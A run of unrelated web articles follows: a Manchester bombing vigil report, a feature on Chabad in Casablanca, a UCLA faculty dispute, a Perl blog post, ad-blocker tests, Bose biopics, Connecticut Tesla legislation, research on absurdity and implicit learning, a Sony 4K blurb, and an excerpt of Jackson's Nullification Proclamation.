For a second night, a throng of people filled a Manchester square for a vigil for the victims. Muslim, Christian and Jewish leaders echoed a message that extremists wouldn't drive a wedge among the city's religious groups. People lifted their hands in the air during a moment of silence.
"There are no divisions here tonight," Irfan Chishti, the imam of Manchester's biggest mosque, told the crowd.
Officials said all of the bombing victims had been identified, but names were being withheld until autopsies were completed. Still, their stories began to emerge: Michelle Kiss, a mother of three whose "family was her life;" Nell Jones, an "always smiling" teenager; Martyn Hett, who packed life "to the brim with his passions;" Jane Tweddle, a "bubbly, kind, welcoming" receptionist. The youngest known of those killed was just 8. Besides the dead, the number of people who sought medical help after the attack was raised to 119. Officials said 64 people remained hospitalized, including 20 who were critically injured.Photos of King Hassan II and Rabbi Menachem Mendel Schneerson adorn the wall of the Chabad facility in Casablanca. (Ben Sales)
CASABLANCA, Morocco (JTA) — Raizel Raskin’s office feels like a cluttered museum of Moroccan Jewish heritage. A photo from an old Jewish summer camp lays on the table. Another, of a rabbi meeting Moroccan dignitaries, hangs on the wall. Outside the door is a bookshelf filled with Hasidic tracts translated into Arabic.
But the rest of Chabad’s multistory complex here looks almost abandoned. Once a school bustling with hundreds of Jewish children, the facility today is largely an empty shell, with dust collecting on unused sports equipment and desks sitting disorganized in unused classrooms. Even the portrait of Menachem Mendel Schneerson, the movement’s late leader whose bearded face typically occupies a place of honored prominence in Chabad homes, is peeling off the wall of the foyer.
Crossing the building’s courtyard, Raskin notices a dead bird.
“Every emissary has their own problems,” said Raskin, who moved to Morocco from France with her husband, Yehuda, in 1960. Pointing at the bird, she added, “This is also part of the Morocco experience.”
At 65 years old, the Chabad in Casablanca is the Hasidic movement’s oldest outpost in the world, and one of only two in the Arab world (the other is in Tunis). Chabad’s first emissaries arrived there in 1950, the beta test for what would grow into a global movement of thousands of Chabad rabbis and their wives scattered across six continents.
In its early years, Morocco’s Jewish population numbered 250,000 and Chabad served 5,000 students in schools across the country. But following the establishment of Israel in 1948 and Morocco’s independence from France in 1956, the vast majority emigrated.
Today, Chabad runs classes, weekend programs and a summer camp for the 2,500 Jews who remain. The week before Rosh Hashanah, raw chickens sat on crates ready to be cooked.
Chabad has survived here by keeping a low profile and maintaining good relations with the government. Like other Jewish institutions in Morocco, Chabad’s activities take place mostly behind closed doors. Its main building in Casablanca is unmarked, and a second facility is accessible through a winding alley removed from the street, with little outward identification.
Local rabbis also avoid talking about the Jewish state. Rabbi Levi Banon, who was born in Morocco and returned to run the operation in 2009, says Casablancans are mostly indifferent — or even friendly — toward Jews, though tension does flare during Israel’s frequent military operations. Raskin said that during Israel’s earlier wars, Moroccans would throw stones at Jews.
“Moroccan people are good people,” Banon said. “To them, the most important is the human touch and the human instinct. That’s more important than politics.”
The first Chabad rabbi in Morocco, Michael Lipsker, was dispatched by Schneerson at the behest of his predecessor, Yosef Yitzchak Schneersohn, who wanted Chabad to help ensure the country’s long rabbinic tradition wouldn’t be lost.
“The tradition is very strong here — everyone has his own customs, his family’s customs,” said Raskin, whose husband served as the Morocco emissary for more than four decades until his death in 2004. “The previous rebbe said that the Jews of Morocco have a lot to do.”
Chabad has persisted through the years by staying in the good graces of Morocco’s rulers. A photo of King Mohammed VI hangs next to Schneerson’s portrait near the building’s entrance, and Banon says Schneerson kept a correspondence with Mohammed’s father, Hassan II.
Hassan’s United Nations ambassador even visited Schneerson in Brooklyn in 1988.
“You have done much good for the Jews there,” Schneerson told him, before giving him two dollar bills for charity — one for himself, one for the king — a tradition Schneerson maintained with many of his visitors for years.
“There were a few problems, but not from the government,” said Rabbi Shalom Edelman, who has served as a Chabad emissary in Morocco since 1958.
“The government was always good to Jews.”
In recent years, Morocco has experienced what the Chabad emissaries describe as a newfound openness to the world. The standard of living has risen and, though Morocco and Israel don’t have formal diplomatic relations, Chabad rabbis can still freely travel between the two countries, an impossibility in the 1960s.
But none of that is likely to result in a resurgence of Jewish life in the country. While Raskin and Edelman are happy so many emigres have moved to Israel, they feel like caretakers for the vestiges of what was once an illustrious community.
“I know they went to Israel, to a safe place I can’t worry about, to a good place for fearing God,” Edelman said. “But for us, it’s harder. We need to fill a space. We educated them and they left, so what we accomplished left.”A conservative professor’s fate is now potentially in the hands of the same administrator who arbitrarily limited his class sizes earlier this semester.
As Campus Reform initially reported, University of California at Los Angeles (UCLA) Professor Keith Fink has been fighting for months against efforts by his new department chair to limit the number of students who may enroll in his popular "Free Speech in the Workplace" course.
"My support within the department inexplicably took a turn for the worst..."
Despite having previously taught in a 292-seat lecture hall, Fink has seen his enrollment cap slashed repeatedly, at one point to just 150 students, though it has since been raised back to 200 following a public outcry.
[RELATED: UCLA restricts enrollment in popular free-speech course]
Department Chair Kerri Johnson claims the restrictions are designed to ensure high quality of instruction, but Fink and his teacher’s assistant say the concern is unfounded, calling it a pretext for limiting access to the course.
Now, according to correspondences obtained by Campus Reform, Johnson will serve on a committee conducting Fink’s “excellence review” hearing despite repeated concerns that she presents a conflict of interest.
An “excellence review” is conducted at the conclusion of a professor’s eighteenth quarter with the institution, upon which the professor is invited to submit a list of students and a list of professors whom he or she finds worthy of submitting a review, along with a list of faculty members the professor may find biased against him.
According to The Daily Wire, such reviews are typically an easy process for professors, though, if gone wrong, result in termination, making Johnson’s involvement in the process concerning.
Johnson, notably, only took over as chair of the Communications Studies Department last year, along with Vice Chair Greg Bryant, both of whom Fink repeatedly accuses of bias in a 46-page rebuttal of their involvement in his “excellence review” obtained by Campus Reform.
“My support within the department inexplicably took a turn for the worst after the appointment of Kerri Johnson and Greg Bryant to chair and vice chair, respectively, last year,” Fink writes in his allotted candidate’s reply to the review. “Ever since, the department has done everything it can to rig the Excellence Review process against me in an attempt to deem me “not excellent” and relieve me of my teaching duties at UCLA.”
[RELATED: UCLA students threatened for claiming ‘there are only two genders]
Fink, according to email exchanges obtained by Campus Reform, brought up the issue of Johnson’s involvement in the review with two members of the school’s Human Resources Department, though both neglected to clarify whether there exists a policy requiring conflicted professors to recuse themselves.
“Can you confirm today that Professors Bryant and Johnson will not be voting at my Excellence Review?” Fink wrote in an email to Carly Bobek and Zenia Kim. ”It should be clear to anyone that they are biased against me and thus cannot render a decision here that is fair and without prejudice.”
In response, Bobek cited the Academic Senate’s bylaws, claiming “Bryant and Johnson, as ladder rank faculty, have the right to vote on [Fink’s] excellence review,” though Fink noted that the policy offers no clear procedures surrounding professors who rightfully ought to recuse themselves.
According to Campus Reform’s copy of the exchange, neither Bobek nor Kim offered any elaboration of procedures calling for the recusal of biased members of a review committee.
Notably, Fink’s “excellence review” case was allegedly stripped of any student reviews solicited by him, and was additionally missing “the single strongest department-solicited letter” from a former student.
Fink, who was allowed to examine his “excellence review” file,” notes in his response that “the department omitted the single strongest department-solicited letter from [his] dossier,” attaching a copy of the glowing letter to his rebuttal.
[RELATED: UCLA profs invite students to join weekly anti-Trump protests]
“I find it hard to believe that the omitted letter was accidentally left out of my file—the letter is simply too strong for it to be a mere coincidence,” Fink contends. “Had I not requested a complete copy, this letter would likely have vanished and never been included in the file.”
Campus Reform reached out to Johnson for elaboration on her involvement in Fink’s review, set to take place Thursday, though no response was received in time for publication.
Follow the author of this article on Twitter: @AGockowskiThe Ironman Challenge, Perl Sphere and blogs.perl.org provide nice avenues for Perl programmers to express themselves and to read each other's posts. Yet the level of interaction seems to be lower than on other blogs. Personal Some of my blogs get a few comments, but most of the time they go without any. A few people tweet my blogs and some even share them on Facebook or on G+. If you are one of those, let me thank you for that. It makes me happy and want to write more. Not Personal But it isn't just me. If you look at Modern Perl Books by chromatic. He too gets only a few comments and tweets. OTOH On the other hand look at the blog post about A/B testing on copyblogger. It got 73 comments! That page has a Twitter widget showing that it was re-tweeted 392 (!) times and a Facebook widget showing it was shared 68 (!) times. This provides a huge coverage. I am sure this feedback helps the authors keep going with their blogs. Even if the comments are "just" agreeing with the post. Even if they are "just" tweets. And it's not that difficult to do that. Comment and share! So if you like the fact that there are many Perl blogs and want to help a bit, go ahead and comment on the blog! If you are using Twitter, Facebook, Google+, Delicious or some other social network, share the link! People who see a post they have already read can easily disregard your sharing. Others who did not read the blog the first time will think again and might read it because they saw it a second time. So don't worry. This repetition is good repetition. It strengthens our community! At first it might need some conscious effort to remember always to share what you read, but soon you will get used to it. Now go ahead and comment on my blog and share it! Or write another blog and link back to mine as Kiran did.Since Apple embraced mobile ad blocking for Safari in iOS 9, folks have been quick to download ad blockers like Purify Blocker and Crystal.
But do they work? Using iPhones, a 4G mobile network, and the Purify, Crystal, and 1Blocker apps, the The New York Times conducted two tests over four days to measure the effects on website data size, load times, and battery life.
The first test recorded data sizes of the world's 50 most popular global news sites (the Times included). In the second, a custom iPhone app cycled through popular websites in an endless loop while staffers timed battery drainage.
Both experiments were conducted with and without ad blockers.
Unsurprisingly, those sites with data-heavy mobile ads saw a significant decrease in data size and a huge increase to load times when the ad blocker was turned on. The handsets' battery life modestly improved as well.
Ad-blocking technology has long been available on PC browsers, but it's new for iDevices. Users can simply download an app and set Safari to enable blocking. Ads are curbed inside the browser, not other apps.
"The advantages of ad blocking seem obvious," the Times's Brian X Chen wrote this week. "Not only can consumers eliminate the clutter of promotions, but eradicating data-intensive ads could help deliver faster Web page load times and longer battery lives for devices."
But many media companies and websites rely on online ads for a regular income. "So if you get rid of promotions, you may kill publishers' business models and lose access to diverse content," Chen said.
There are other downsides to ad blockers, the newspaper reportedlike websites missing content or faulty online shopping carts.
So are mobile ad blockers worth it? There is no right or wrong: You'll save battery and enjoy speedier access to Web content, but paired with everyday phone activities, you may not notice a difference.The filmmaker who sets out to make a nationalistic movie about the Indian independence movement does not quite know what to make of Subhash Chandra Bose. A political maverick whose ideology and methods were at odds with the Congress Party-led freedom struggle, Bose has been fleetingly represented in cinema – until 2017. The Indian National Army, comprising former Indian prisoners of war and steered by Bose, features in the year’s releases Rangoon and Raag Desh. The mystery surrounding Bose’s death in 1945 is the subject of the upcoming mini-series Bose: Dead/Alive, starring Rajkummar Rao.
There have been two full-fledged biopics on Bose: the Bengali Subhas Chandra (1966) and Netaji Subhas Chandra Bose: The Forgotten Hero (2004). A greater number of films feature the leader as a source of inspiration, and focus on the army that he galvanised with the help of Japanese support in the early 1940s. Bose shows up as a totemic presence in Ami Subhash Bolchi (2011), a remake of the Marathi film Me Shivajiraje Bhosale Boltoy (2009) and in Raag Desh (2017), about the trials of three INA soldiers in 1944.
Play Ami Subhash Bolchi (2011).
In Ami Subhas Bolchi, Bose comes to the rescue of Debabrata Bose (Mithun Chakraborty), a middle-class Bengali man in Kolkata who hates himself because he is a “Damn Bengali”. Debabrata Bose finds himself unable to keep up with the city’s non-Bengali nouveau riche, who shame him for his genteel ways. After a drunken fight, he goes on a tirade against his kind in a dream before Netaji arrives and rescues him with pep talk on the merits of the Bengali race.
Raag Desh focuses on the 1944 Red Fort trials, in which three INA soldiers were accused of treason. Bose, played by Assamese director Kenny Basumatary, briefly appears to inspire his troops. The fighting force also features in Shankar’s vigilante thriller Indian (1996). Kamal Haasan’s Senapathy character is a former INA soldier.
One of the earliest films to be made on the army is Samadhi (1950), starring Ashok Kumar as Shekhar, an INA officer who is at loggerheads with his brother Suresh (Shyam), a soldier in the British Army. The drama is complicated with the brothers’ lovers, Dolly (Kuldip Kaur) and Lily (Nalini Jaywant), acting as British spies. In the end, Shekhar dies on the battlefield.
Play Samadhi (1950).
The two biopics on Bose vastly differ in length and treatment. While Piyush Bose’s Subhas Chandra (1966) is a briskly narrated, coming-of-age film, Shyam Benegal’s 210-minute Netaji Subhas Chandra Bose: The Forgotten Hero (2004) tracks Bose’s life after his split with Mahatma Gandhi and his departure from the Congress Party in 1939.
Subhas Chandra is more of a bildungsroman about the intellectual transformation of Bose from an inquisitive boy to a firebrand leader than a patriotic film. Bose (Ashish Ghosh) grows up in a wealthy household in Cuttack in Orissa. He is enrolled in a school in which students wear dhotis to class and the teachers are natives. Having been educated in a European school, Bose is shamed by his classmates and teacher for knowing little Bengali or Sanskrit. He begins to question his upbringing and beliefs, and under the tutelage of patriotic headmaster Benimadhab Bas, becomes interested in the works of Vivekananda and Rama Tirtha.
The life of Khudiram Bose captures Bose’s attention after he hears a girl singing Ekbar Biday De Ma Ghure Ashi (Bid me goodbye, mother), an elegy for the militant revolutionary who was hanged in 1908 at the age of 18.
Play Ekbar Biday De Ma Ghure Ashi (Subhas Chandra, 1966).
As he grows older, Bose (now played by Amar Dutta) becomes increasingly interested in Hindu philosophy, but he is repelled by his experiences of Brahmin practices and casteism. In one scene, Bose and a fellow ascetic are refused meals in Hardwar because they are Bengalis and eat fish. They are asked to eat at a distance from the Brahmins at the Arya Samaj’s gurukul. Disillusioned, Bose realises, “Without freeing the country, we cannot free people’s hearts.”
Bose (now played by Samar Chatterjee) begins to study at the Presidency College, where he earns street cred as a youth leader. After repeated altercations with the college’s British administration, he is expelled. Bose goes on to pass the Indian Civil Services examination, only to refuse a government job, and instead, opting to join the growing nationalist movement in Kolkata. The film ends with Bose getting arrested by the police for the first time in his life.
Subhas Chandra (1966).
Benegal’s biopic, in contrast, is a far more expansive – and thus plodding – account of Bose’s political journey. The story begins with Bose (Sachin Khedekar) falling out with Gandhi and continues with his incarceration, house arrest followed by a daring escape, his travels to Afghanistan and Germany in 1941, and finally Japan in 1943, and his leadership of the Indian National Army.
The movie is painstakingly detailed and boasts of great production values (art director Samir Chanda, cinematographer Rajan Kothari and editor A Sreekar Prasad) and music (AR Rahman). Bose is shown as being obsessed with his cause of freeing the nation from the British.
Benegal also includes an aspect of Bose’s colourful life that usually escapes more hagiographical accounts: his relationship with and secret marriage to Emilie Schenkl in Berlin in 1937. Protests by the All India Forward Bloc, the party founded by Bose in 1939, over the inclusion of this episode from Bose’s life forced Benegal to cancel the movie’s premiere in Kolkata.
Play Netaji Subhas Chandra Bose: The Forgotten Hero (2004).
Some scenes undermine the realism typical of Benegal’s films, resulting in unintended mirth, such as the moment when Bose walks into a prisoners of war camp in Germany and wins over a group of hostile soldiers within minutes because he is, well, Bose. Or when Bose’s colleague Abid Hasan (Rajit Kapur) shouts “Vande Mataram” right after a group of German officials gives the Nazi salute at the start of a meeting. When Hasan explains what Vande Mataram means, the Nazi superior nods in approval.
Bhutanese actor Kelly Dorji is miscast as Japanese Prime Minister Hideki Tojo, and he attempts a stereotypical accent that many would call racist. In one hero moment, Bose tells Adolf Hitler that the latter’s decision to send troops to Russia in the winter is wrong. But nothing tops Benegal’s decision to use Ghum Parani Mashi Pishi, a popular Bengali lullaby, in a scene to underline Bose’s longing as he leaves home forever to escape the country and gather the support of the Axis powers for his war against the British.
Play Ghum Parani (Netaji Subhas Chandra Bose: The Forgotten Hero, 2004).
Benegal’s film shows Bose as a character who was willing to compromise with Gandhi’s non-violence policy for the sake of gaining freedom. Hitler, for one, was not particularly kind to the cause of Indian independence. He would “rather see India under British rule than under any other”, as he wrote in Mein Kampf. Despite that, Bose did not hesitate to approach Germany and Japan (Nehru called them “brutish, reactionary forces” and said that they should “go to hell”), seeking help to raise an army and snatch freedom through violent means.
Bose’s complicated ideological position, perhaps, makes him a difficult person to revere on celluloid. Throughout his life, he opposed the moderate methods of the party that was not only instrumental in getting India freedom but also was a part of independent India’s central government for 49 years. With the present government being contemptuous of the Congress years, filmmakers are now revisiting Bose’s story with renewed zeal and ensuring that he is far from being forgotten.Sen. Kennedy supports grocery-bag tax while opposing direct sale of electric cars
Despite pushing a tax on grocery bags and a state carbon tax due to environmental concerns, Sen. Ted Kennedy Jr., D-Branford, voted against allowing electric vehicle makers to sell their products directly to consumers in Connecticut.
The bill to allow manufacturers, in particular Tesla, to sell electric vehicles directly to Connecticut consumers passed out of the transportation committee on March 17 by a 25-10 vote.
In addition to serving on the transportation committee, Kennedy is a co-chair of the energy and environment committee.
Dan Doyle, media contact for Sen. Kennedy, said Kennedy's opposes the bill because he sees it as a careveout for Tesla rather than an environmental issue. "Tesla is free to open a dealership in Connecticut, there's nothing blocking them from doing that."
But Connecticut law dictates that a dealership must be independent from the manufacturer. So Tesla would have to contract with an independent dealership in the state in order to sell their cars. Going through an independent dealership would increase the costs of their vehicles, which already run high.
Tesla has been trying to make inroads into Connecticut for several years, but the law continues to limit sales to independent dealerships.
Connecticut is one of a dwindling number of states that do not allow Tesla to sell directly to customers. Other than Connecticut, only Michigan, Texas and West Virginia remain closed to direct sales.
New Jersey passed legislation in 2015, allowing Tesla to open four stores where the public can buy directly from the company and one service center.
New York and Massachusetts also allow Tesla sell their cars, driving some Connecticut residents over the state border to purchase the vehicles.
As of May 2016, the state reported there were 868 Teslas driving on Connecticut’s roads, all of which had to be purchased in other states.
Kennedy proposed a tax on grocery bags as early as 2015.
The grocery bag tax, introduced by the environmental committee, where Kennedy serves as co-chair, would impose a 5 cent tax on “single use” plastic and paper bags. The revenue would help fund the Department of Energy and Environmental Protection’s conservation efforts. Earlier versions of the bill targeted plastic bags exclusively as a source of litter, but the current proposal includes paper bags which decompose naturally.
The legislation passed out of committee by a 19-10 vote, with Kennedy voting in favor of the tax on grocery bags.
Similarly, the environmental committee raised a bill that would impose a carbon tax on companies in Connecticut. The tax of $15 per ton of carbon emissions on Connecticut businesses would increase home fuel costs by 16 cents per gallon and gasoline costs by 13 cents.
The carbon tax will only be enacted if Connecticut, Massachusetts and Rhode Island all enact similar laws, a precaution to keep businesses from jumping across the border to avoid the tax.
That legislation has not yet come to a committee vote but it is vigorously opposed by businesses and could prove unpopular with voters who already pay the highest energy costs in the nation.
A similar bill was passed out of committee in 2016 but did not come to a floor vote.In a series of new papers, Dr. Proulx and Steven J. Heine, a professor of psychology at the University of British Columbia, argue that these findings are variations on the same process: maintaining meaning, or coherence. The brain evolved to predict, and it does so by identifying patterns.
When those patterns break down — as when a hiker stumbles across an easy chair sitting deep in the woods, as if dropped from the sky — the brain gropes for something, anything that makes sense. It may retreat to a familiar ritual, like checking equipment. But it may also turn its attention outward, the researchers argue, and notice, say, a pattern in animal tracks that was previously hidden. The urge to find a coherent pattern makes it more likely that the brain will find one.
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“There’s more research to be done on the theory,” said Michael Inzlicht, an assistant professor of psychology at the University of Toronto, because it may be that nervousness, not a search for meaning, leads to heightened vigilance. But he added that the new theory was “plausible, and it certainly affirms my own meaning system; I think they’re onto something.”
In the most recent paper, published last month, Dr. Proulx and Dr. Heine described having 20 college students read an absurd short story based on “The Country Doctor,” by Franz Kafka. The doctor of the title has to make a house call on a boy with a terrible toothache. He makes the journey and finds that the boy has no teeth at all. The horses who have pulled his carriage begin to act up; the boy’s family becomes annoyed; then the doctor discovers the boy has teeth after all. And so on. The story is urgent, vivid and nonsensical — Kafkaesque.
After the story, the students studied a series of 45 strings of 6 to 9 letters, like “X, M, X, R, T, V.” They later took a test on the letter strings, choosing those they thought they had seen before from a list of 60 such strings. In fact the letters were related, in a very subtle way, with some more likely to appear before or after others.
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The test is a standard measure of what researchers call implicit learning: knowledge gained without awareness. The students had no idea what patterns their brain was sensing or how well they were performing.
But perform they did. They chose about 30 percent more of the letter strings, and were almost twice as accurate in their choices, than a comparison group of 20 students who had read a different short story, a coherent one.
“The fact that the group who read the absurd story identified more letter strings suggests that they were more motivated to look for patterns than the others,” Dr. Heine said. “And the fact that they were more accurate means, we think, that they’re forming new patterns they wouldn’t be able to form otherwise.”
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Brain-imaging studies of people evaluating anomalies, or working out unsettling dilemmas, show that activity in an area called the anterior cingulate cortex spikes significantly. The more activation is recorded, the greater the motivation or ability to seek and correct errors in the real world, a recent study suggests. “The idea that we may be able to increase that motivation,” said Dr. Inzlicht, a co-author, “is very much worth investigating.”
Researchers familiar with the new work say it would be premature to incorporate film shorts by David Lynch, say, or compositions by John Cage into school curriculums. For one thing, no one knows whether exposure to the absurd can help people with explicit learning, like memorizing French. For another, studies have found that people in the grip of the uncanny tend to see patterns where none exist — becoming more prone to conspiracy theories, for example. The urge for order satisfies itself, it seems, regardless of the quality of the evidence.If you were searching on Google for “Sony 4k for sale”, it probably means that you are already enticed, lured and captivated by the new 4k range of Sony TVs, ready to snatch up one of these beauties. The Sony 4k line is on a completely whole different league of televisions, capable of outputting a mind blowing resolution that is 4 times as clear as a full HD 1080p display.
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non-intercourse law in the Eastern States, the carriage tax in Virginia, were all deemed unconstitutional, and were more unequal in their operation than any of the laws now complained of; but, fortunately, none of those States discovered that they had the right now claimed by South Carolina. The war into which we were forced, to support the dignity of the nation and the rights of our citizens, might have ended in defeat and disgrace instead of victory and honor, if the states who supposed it a ruinous and unconstitutional measure, had thought they possessed the right of nullifying the act by which it was declared, and denying supplies for its prosecution. Hardly and unequally as those measures bore upon several members of the Union, to the legislatures of none did this efficient and peaceable remedy, as it is called, suggest itself. The discovery of this important feature in our Constitution was reserved to the present day. To the statesmen of South Carolina belongs the invention, and upon the citizens of that State will, unfortunately, fall the evils of reducing it to practice.
If the doctrine of a State veto upon the laws of the Union carries with it internal evidence of its impracticable absurdity, our constitutional history will also afford abundant proof that it would have been repudiated with indignation had it been proposed to form a feature in our Government.
In our colonial state, although dependent on another power, we very early considered ourselves as connected by common interest with each other. Leagues were formed for common defense, and before the Declaration of Independence, we were known in our aggregate character as the United Colonies of America. That decisive and important step was taken jointly. We declared ourselves a nation by a joint, not by several acts; and when the terms of our confederation were reduced to form, it was in that of a solemn league of several States, by which they agreed that they would, collectively, form one nation, for the purpose of conducting some certain domestic concerns, and all foreign relations. In the instrument forming that Union, is found an article which declares that “every State shall abide by the determinations of Congress on all questions which by that Confederation should be submitted to them.”
Under the Confederation, then, no state could legally annul a decision of the Congress or refuse to submit to its execution; but no provision was made to enforce these decisions. Congress made requisitions, but they were not complied with. The government could not operate on individuals. They had no judiciary, no means of collecting revenue.
But the defects of the Confederation need not be detailed. Under its operation we could scarcely be called a nation. We had neither prosperity at home nor consideration abroad. This state of things could not be endured, and our present happy Constitution was formed — but formed in vain if this fatal doctrine prevails. It was formed for important objects that are announced in the Preamble made in the name and by the authority of the people of the United States, whose delegates framed and whose conventions approved it. The most important among these objects — that which is placed first in rank, on which all the others rest — is “to form a more perfect union.”
Now, is it possible that even if there were no express provision giving supremacy to the Constitution and laws of the United States over those of the states — can it be conceived that an instrument made for the purpose of “forming a more perfect union” than that of the Confederation could be so constructed by the assembled wisdom of our country as to substitute for that Confederation a form of government dependent for its existence on the local interest, the party spirit of a state or of a prevailing faction in a State? Every man of plain, unsophisticated understanding who hears the question will give such an answer as will preserve the Union. …
I consider, then, the power to annul a law of the United States, assumed by one State, incompatible with the existence of the Union, contradicted expressly by the letter of the Constitution, unauthorized by its spirit, inconsistent with every principle on which it was founded, and destructive of the great object for which it was formed. After this general view of the leading principle, we must examine the particular application of it which is made in the ordinance.
The Preamble rests its justification on these grounds: It assumes as a fact that the obnoxious laws, although they purport to be laws for raising revenue, were in reality intended for the protection of manufactures, which purpose it asserts to be unconstitutional; that the operation of these laws is unequal; that the amount raised by them is greater than is required by the wants of the government; and, finally, that the proceeds are to be applied to objects unauthorized by the Constitution. These are the only causes alleged to justify an open opposition to the laws of the country, and a threat of seceding from the Union, if any attempt should be made to enforce them. The first virtually acknowledges that the law in question was passed under a power expressly given by the Constitution to lay and collect imposts; but its constitutionality is drawn in question from the motives of those who passed it. However apparent this purpose may be in the present case, nothing can be more dangerous than to admit the position that an unconstitutional purpose entertained by the members who assent to a law enacted under a constitutional power shall make that law void.
For how is that purpose to be ascertained? Who is to make the scrutiny? How often may bad purposes be falsely imputed, in how many cases are they concealed by false professions, in how many is no declaration of motive made? Admit this doctrine and you give to the states an uncontrolled right to decide, and every law may be annulled under this pretext. If, therefore, the absurd and dangerous doctrine should be admitted that a state may annul an unconstitutional law, or one that it deems such, it will not apply to the present case.
The next objection is that the laws in question operate unequally. This objection may be made with truth to every law that has been or can be passed. The wisdom of man never yet contrived a system of taxation that would operate with perfect equality. If the unequal operation of a law makes it unconstitutional, and if all laws of that description may be abrogated by any state for that cause, then indeed is the federal Constitution unworthy of the slightest effort for its preservation.
We have hitherto relied on it as the perpetual bond of our Union; we have received it as the work of the assembled wisdom of the nation; we have trusted to it as to the sheet anchor of our safety in the stormy times of conflict with a foreign or domestic foe; we have looked to it with sacred awe as the palladium of our liberties; and with all the solemnities of religion have pledged to each other our lives and fortunes here and our hopes of happiness hereafter in its defense and support. Were we mistaken, my countrymen, in attaching this importance to the Constitution of our country? …
Our Constitution does not contain the absurdity of giving power to make laws and another power to resist them. The sages whose memory will always be reverenced have given us a practical and, as they hoped, a permanent constitutional compact. The father of his country did not affix his revered name to so palpable an absurdity. Nor did the states, when they severally ratified it, do so under the impression that a veto on the laws of the United States was reserved to them or that they could exercise it by implication. Search the debates in all their conventions, examine the speeches of the most zealous opposers of federal authority, look at the amendments that were proposed. They are all silent — not a syllable uttered, not a vote given, not a motion made to correct the explicit supremacy given to the laws of the Union over those of the states, or to show that implication, as is now contended, could defeat it.
No; we have not erred. The Constitution is still the object of our reverence, the bond of our Union, our defense in danger, the source of our prosperity in peace. It shall descend, as we have received it, uncorrupted by sophistical construction, to our posterity; and the sacrifices of local interests, of state prejudices, of personal animosities, that were made to bring it into existence will again be patriotically offered for its support.
The two remaining objections made by the ordinance to these laws are that the sums intended to be raised by them are greater than are required, and that the proceeds will be unconstitutionally employed. …
The ordinance, with the same knowledge of the future that characterizes a former objection, tells you that the proceeds of the tax will be unconstitutionally applied. If this could be ascertained with certainty, the objection would with more propriety be reserved for the law so applying the proceeds, but surely cannot be urged against the laws levying the duty.
These are the allegations contained in the ordinance. Examine them seriously, my fellow citizens; judge for yourselves. I appeal to you to determine whether they are so clear, so convincing, as to leave no doubt of their correctness; and even if you should come to this conclusion, how far they justify the reckless, destructive course which you are directed to pursue. Review these objections and the conclusions drawn from them once more. What are they? Every law, then, for raising revenue, according to the South Carolina ordinance, may be rightfully annulled unless it be so framed as no law ever will or can be framed. Congress have a right to pass laws for raising revenue and each state has a right to oppose their execution — two rights directly opposed to each other; and yet is this absurdity supposed to be contained in an instrument drawn for the express purpose of avoiding collisions between the states and the general government by an assembly of the most enlightened statesmen and purest patriots ever embodied for a similar purpose.
In vain have these sages declared that Congress shall have power to lay and collect taxes, duties, imposts, and excises; in vain have they provided that they shall have power to pass laws which shall be necessary and proper to carry those powers into execution, that those laws and that Constitution shall be the “supreme law of the land, and that the judges in every state shall be bound thereby, anything in the constitution or laws of any state to the contrary notwithstanding;” in vain have the people of the several states solemnly sanctioned these provisions, made them their paramount law, and individually sworn to support them whenever they were called on to execute any office. Vain provisions! Ineffectual restrictions! Vile profanation of oaths! Miserable mockery of legislation! — if a bare majority of the voters in any one state may, on a real or supposed knowledge of the intent with which a law has been passed, declare themselves free from its operation; say, here it gives too little; there, too much, and operates unequally; here it suffers articles to be free that ought to be taxed, there it taxes those that ought to be free; in this case the proceeds are intended to be applied to purposes which we do not approve; in that, the amount raised is more than is wanted.
Congress, it is true, are invested by the Constitution with the right of deciding these questions according to their sound discretion. Congress is composed of the representatives of all the states and of all the people of all the states. But we, part of the people of one state, to whom the Constitution has given no power on the subject, from whom it has expressly taken it away; we, who have solemnly agreed that this Constitution shall be our law; we, most of whom have sworn to support it — we now abrogate this law and swear, and force others to swear, that it shall not be obeyed; and we do this not because Congress have no right to pass such laws — this we do not allege — but because they have passed them with improper views. They are unconstitutional from the motives of those who passed them, which we can never with certainty know; from their unequal operation, although it is impossible, from the nature of things, that they should be equal; and from the disposition which we presume may be made of their proceeds, although that disposition has not been declared. This is the plain meaning of the ordinance in relation to laws which it abrogates for alleged unconstitutionality.
But it does not stop here. It repeals in express terms an important part of the Constitution itself and of laws passed to give it effect which have never been alleged to be unconstitutional. The Constitution declares that the judicial powers of the United States extend to cases arising under the laws of the United States, and that such laws, the Constitution and treaties shall be paramount to the state constitutions and laws. The judiciary act prescribes the mode by which the case may be brought before a court of the United States by appeal when a state tribunal shall decide against this provision of the Constitution. The ordinance declares there shall be no appeal — makes the state law paramount to the Constitution and laws of the United States, forces judges and jurors to swear that they will disregard their provisions, and even makes it penal in a suitor to attempt relief by appeal. It further declares that it shall not be lawful for the authorities of the United States or of that state to enforce the payment of duties imposed by the revenue laws within its limits.
Here is a law of the United States, not even pretended to be unconstitutional, repealed by the authority of a small majority of the voters of a single state. Here is a provision of the Constitution which is solemnly abrogated by the same authority.
On such expositions and reasonings the ordinance grounds not only an assertion of the right to annul the laws of which it complains but to enforce it by a threat of seceding from the Union if any attempt is made to execute them.
This right to secede is deduced from the nature of the Constitution, which they say is a compact between sovereign States who have preserved their whole sovereignty, and therefore are subject to no superior; that because they made the compact, they can break it when in their opinion it has been departed from by the other States. Fallacious as this course of reasoning is, it enlists State pride, and finds advocates in the honest prejudices of those who have not studied the nature of our government sufficiently to see the radical error on which it rests.
The people of the United States formed the Constitution, acting through the State legislatures, in making the compact, to meet and discuss its provisions, and acting in separate conventions when they ratified those provisions; but the terms used in its construction show it to be a government in which the people of all the States collectively are represented. We are ONE PEOPLE in the choice of the President and Vice President. Here the States have no other agency than to direct the mode in which the vote shall be given. The candidates having the majority of all the votes are chosen. The electors of a majority of States may have given their votes for one candidate, and yet another may be chosen. The people, then, and not the States, are represented in the executive branch.
In the House of Representatives there is this difference, that the people of one State do not, as in the case of President and Vice President, all vote for all the members, each State electing only its own representatives. But this creates no material distinction. When chosen, they are all representatives of the United States, not representatives of the particular State from which they come. They are paid by the United States, not by the State; nor are they accountable to it for any act done in performance of their legislative functions; and however they may in practice, as it is their duty to do, consult and prefer the interests of their particular constituents when they come in conflict with any other partial or local interest, yet it is their first and highest duty, as representatives of the United States, to promote the general good.
